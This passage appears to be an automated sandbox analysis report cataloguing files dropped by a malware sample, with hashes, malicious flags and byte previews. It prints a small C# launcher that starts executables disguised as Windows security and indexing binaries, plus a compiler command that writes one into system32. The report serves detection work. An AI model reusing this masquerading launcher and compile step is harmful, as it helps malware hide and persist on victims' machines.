                                                                  Preview:.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Program Files (x86)\windows defender\SearchIndexer.exe"); } catch { } }).Start();. }.}.

                                                                  C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):250
                                                                  Entropy (8bit):5.0666068204638846
                                                                  Encrypted:false
                                                                  SSDEEP:6:Hu+H2L//1xRT0T79BzxsjGZxWE8owkn23f6k+Wbn:Hu7L//TRq79cQWf/x
                                                                  MD5:2911540A605031BFB1A259068DD764C8
                                                                  SHA1:C0FDAB0303DC50C433F785BB0B77B6F52392EE63
                                                                  SHA-256:AD6B795E339BFBC2F31723E0E2F5F96498AB01B7DD4AE7692917E2A3741245DC
                                                                  SHA-512:7C66955E783FFE651AC4CDEF49F841F8DE8292F4477D39BEE1AD32967579ECD174DD82230ED456D5EE4C9DD5252E8D49B211A4A821ABA85935279B4991C6A334
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.0.cs"

                                                                  C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.out

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (329), with CRLF, CR line terminators
                                                                  Category:modified
                                                                  Size (bytes):750
                                                                  Entropy (8bit):5.254776449552449
                                                                  Encrypted:false
                                                                  SSDEEP:12:KJN/I/u7L//TRq79cQWf/UKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBI/un/Vq79tWf8Kax5DqBVKVrdFAMb
                                                                  MD5:3CC0D4C0E0F5AE57DE68CA6D18783654
                                                                  SHA1:4CA0FF8C78D5C76C78CD7444C17E8C0BF511B801
                                                                  SHA-256:A70ED51657EA4DD2AFC2B9A7BEF79FB948EA39177F277DBF3AD1D552B37B7303
                                                                  SHA-512:B469A1F84F2BDD11D97B7C0DDF4C8DEA34295387FF4DE3AB07B6F5126DCCC9E40BFBC62DE4AB2DCDFB3CB3000C81B945179B39518BC542050B8DCC8CC563D9C9
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                  C:\Users\user\AppData\Local\Temp\tmp5023.tmp

                                                                  Download File
                                                                  Process:C:\Windows\svchost.com
                                                                  File Type:Non-ISO extended-ASCII text, with no line terminators
                                                                  Category:modified
                                                                  Size (bytes):8
                                                                  Entropy (8bit):3.0
                                                                  Encrypted:false
                                                                  SSDEEP:3:bp:F
                                                                  MD5:9D1E5A4C0066F82C3F546A562178E8C1
                                                                  SHA1:7FA66D1EE2CA46C9614CCBE2F6AF19B6B310A4FF
                                                                  SHA-256:31339862AD4B8595D7AD1C9BA99A1C8D42222F921FDF2241DF23534390C0BFFE
                                                                  SHA-512:F743CD373801AAC0C7C737668A5A281AED0F68B4220FF37B269F027CFC6773C959C2A3DA9E7AF7C2DC8CAB5ECBB366BAF7477640707E68C30ED892635724193D
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:....&A

                                                                  C:\Users\user\AppData\Local\Temp\u8I2IyUvGL

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:ASCII text, with no line terminators
                                                                  Category:dropped
                                                                  Size (bytes):25
                                                                  Entropy (8bit):4.293660689688185
                                                                  Encrypted:false
                                                                  SSDEEP:3:IAs3vd5n:IR3vd5n
                                                                  MD5:7337E43D8186D6A76C31DF00722EF01D
                                                                  SHA1:279E00498F9DADE07A241E659827484F40D4CDB9
                                                                  SHA-256:C32FE1830EAA62E330C54FA285EE0DD74EC28B6E154C63654EA7D8ADD0A77C0E
                                                                  SHA-512:4CE635364C1FC41928BFD921F6E1D32E6C6C29AF5183976101E0917CD9008C8B66360F48EC11CCD338D1250C0A6E205664868289988E51D9E866F31BA04C4F53
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:6jvUfKjTu5X9wHOFnkyJV8Kkj

                                                                  C:\Users\user\AppData\Local\Temp\uLAoCKt770

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                  Category:dropped
                                                                  Size (bytes):20480
                                                                  Entropy (8bit):0.5707520969659783
                                                                  Encrypted:false
                                                                  SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                  MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                  SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                  SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                  SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\BAeGeXTe.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):33792
                                                                  Entropy (8bit):5.541771649974822
                                                                  Encrypted:false
                                                                  SSDEEP:768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
                                                                  MD5:2D6975FD1CC3774916D8FF75C449EE7B
                                                                  SHA1:0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
                                                                  SHA-256:75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
                                                                  SHA-512:6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\CaAofPGe.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):38400
                                                                  Entropy (8bit):5.699005826018714
                                                                  Encrypted:false
                                                                  SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                                  MD5:87765D141228784AE91334BAE25AD743
                                                                  SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                                  SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                                  SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\DiJGaagK.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):34304
                                                                  Entropy (8bit):5.618776214605176
                                                                  Encrypted:false
                                                                  SSDEEP:768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
                                                                  MD5:9B25959D6CD6097C0EF36D2496876249
                                                                  SHA1:535B4D0576746D88537D4E9B01353210D893F4D2
                                                                  SHA-256:4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
                                                                  SHA-512:C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\EcnWByLa.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):46592
                                                                  Entropy (8bit):5.870612048031897
                                                                  Encrypted:false
                                                                  SSDEEP:768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
                                                                  MD5:3601048DFB8C4A69313A593E74E5A2DE
                                                                  SHA1:A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
                                                                  SHA-256:F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
                                                                  SHA-512:B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\IniXRspB.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):41472
                                                                  Entropy (8bit):5.6808219961645605
                                                                  Encrypted:false
                                                                  SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                                  MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                                  SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                                  SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                                  SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\KyrFXOMt.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):23552
                                                                  Entropy (8bit):5.519109060441589
                                                                  Encrypted:false
                                                                  SSDEEP:384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
                                                                  MD5:0B2AFABFAF0DD55AD21AC76FBF03B8A0
                                                                  SHA1:6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
                                                                  SHA-256:DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
                                                                  SHA-512:D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\LabWdNFO.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):34816
                                                                  Entropy (8bit):5.636032516496583
                                                                  Encrypted:false
                                                                  SSDEEP:384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
                                                                  MD5:996BD447A16F0A20F238A611484AFE86
                                                                  SHA1:CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
                                                                  SHA-256:0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
                                                                  SHA-512:80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\MIUEPsLM.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):38912
                                                                  Entropy (8bit):5.679286635687991
                                                                  Encrypted:false
                                                                  SSDEEP:768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
                                                                  MD5:9E910782CA3E88B3F87826609A21A54E
                                                                  SHA1:8DBC333244620EDA5D3F1C9EAA6B924455262303
                                                                  SHA-256:3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
                                                                  SHA-512:592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\MrGoJLyr.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):70144
                                                                  Entropy (8bit):5.909536568846014
                                                                  Encrypted:false
                                                                  SSDEEP:1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
                                                                  MD5:E4FA63649F1DBD23DE91861BB39C317D
                                                                  SHA1:25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
                                                                  SHA-256:CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
                                                                  SHA-512:C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\NfKwuYup.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):342528
                                                                  Entropy (8bit):6.170134230759619
                                                                  Encrypted:false
                                                                  SSDEEP:3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
                                                                  MD5:9DADB5C8A6FD5020275C31EE6BC61D63
                                                                  SHA1:ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
                                                                  SHA-256:80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
                                                                  SHA-512:EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\OtzUWFWF.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):85504
                                                                  Entropy (8bit):5.8769270258874755
                                                                  Encrypted:false
                                                                  SSDEEP:1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
                                                                  MD5:E9CE850DB4350471A62CC24ACB83E859
                                                                  SHA1:55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
                                                                  SHA-256:7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
                                                                  SHA-512:9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

                                                                  C:\Users\user\Desktop\PbyWKVQt.log

                                                                  Download File
                                                                  Process:C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):38400
                                                                  Entropy (8bit):5.699005826018714
                                                                  Encrypted:false
                                                                  SSDEEP:768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
                                                                  MD5:87765D141228784AE91334BAE25AD743
                                                                  SHA1:442BA48B1B5BB158E2E6145B0592F81D20CB9C57
                                                                  SHA-256:9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
                                                                  SHA-512:77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\QNsVGKUC.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):41472
                                                                  Entropy (8bit):5.6808219961645605
                                                                  Encrypted:false
                                                                  SSDEEP:768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
                                                                  MD5:6CD78D07F9BD4FECC55CDB392BC5EC89
                                                                  SHA1:094DE32070BED60A811D983740509054AD017CE4
                                                                  SHA-256:16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
                                                                  SHA-512:5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\QWQVqwoz.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):294912
                                                                  Entropy (8bit):6.010605469502259
                                                                  Encrypted:false
                                                                  SSDEEP:6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
                                                                  MD5:00574FB20124EAFD40DC945EC86CA59C
                                                                  SHA1:8B96C4B6F450E711085AE7B22517C195222ACFDF
                                                                  SHA-256:3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
                                                                  SHA-512:B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

                                                                  C:\Users\user\Desktop\SBxdsXQA.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):50176
                                                                  Entropy (8bit):5.723168999026349
                                                                  Encrypted:false
                                                                  SSDEEP:768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
                                                                  MD5:2E116FC64103D0F0CF47890FD571561E
                                                                  SHA1:3EF08A9B057D1876C24FC76E937CDA461FAC6071
                                                                  SHA-256:25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
                                                                  SHA-512:39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

                                                                  C:\Users\user\Desktop\SPfDctZy.log

                                                                  Download File
                                                                  Process:C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe
                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):39936
                                                                  Entropy (8bit):5.660491370279985
                                                                  Encrypted:false
                                                                  SSDEEP:768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
                                                                  MD5:240E98D38E0B679F055470167D247022
                                                                  SHA1:49888CCED719AE78EE3BAE2959402749668AA1C6
                                                                  SHA-256:C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
                                                                  SHA-512:93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
                                                                  Malicious:true
                                                                  Reputation:unknown
